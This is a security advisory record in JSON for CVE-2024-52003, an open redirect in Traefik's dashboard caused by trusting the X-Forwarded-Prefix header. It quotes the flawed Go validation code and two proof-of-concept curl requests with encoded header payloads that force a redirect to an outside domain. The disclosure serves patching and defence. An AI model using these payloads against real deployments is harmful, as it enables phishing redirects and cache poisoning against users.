CVE-2024-52003: Github.com/traefik/traefik/v2 Traefik's X-Forwarded-Prefix Header Still Allows Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h924-8g65-j9wg",
  "modified" : "2025-11-27T08:05:26Z",
  "published" : "2024-12-02T17:12:38Z",
  "aliases" : [ "CVE-2024-52003" ],
  "summary" : "Traefik's X-Forwarded-Prefix Header still allows for Open Redirect",
  "details" : "### Impact\n\nThere is a vulnerability in Traefik that allows the client to provide the `X-Forwarded-Prefix` header from an untrusted source.\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.14\n- https://github.com/traefik/traefik/releases/tag/v3.2.1\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n### Summary\nThe previously reported open redirect ([GHSA-6qq8-5wq3-86rp](https://github.com/traefik/traefik/security/advisories/GHSA-6qq8-5wq3-86rp)) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL.\n\n\n\n### Details\nThe Traefik API [dashboard component](https://github.com/traefik/traefik/blob/master/pkg/api/dashboard/dashboard.go) tries to validate that the value of the header X-Forwarded-Prefix is a site relative path:\n```go\nhttp.Redirect(resp, req, safePrefix(req)+\"/dashboard/\", http.StatusFound)\n```\n\n```go\nfunc safePrefix(req *http.Request) string {\n\tprefix := req.Header.Get(\"X-Forwarded-Prefix\")\n\tif prefix == \"\" {\n\t\treturn \"\"\n\t}\n\n\tparse, err := url.Parse(prefix)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\treturn parse.Path\n}\n```\n\n### PoC\nAn attacker can bypass this by sending the following payload:\n\n```bash\ncurl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com'\n[...]\n> HTTP/1.1 302 Found\n> Location: //a.com/dashboard/\n```\n\nor similar:\n\n```bash\ncurl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com'\n[...]\n> HTTP/1.1 302 Found\n> Location: //a.com/dashboard/\n```\n\n### Impact\nSimilar to the previously reported bug. In cache poisoning scenarios this may be exploitable.\n</details>",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.14"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.2.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-h924-8g65-j9wg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-52003"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/pull/11253"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v2.11.14"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-601" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-12-02T17:12:38Z",
    "nvd_published_at" : "2024-11-29T19:15:08Z"
  }
}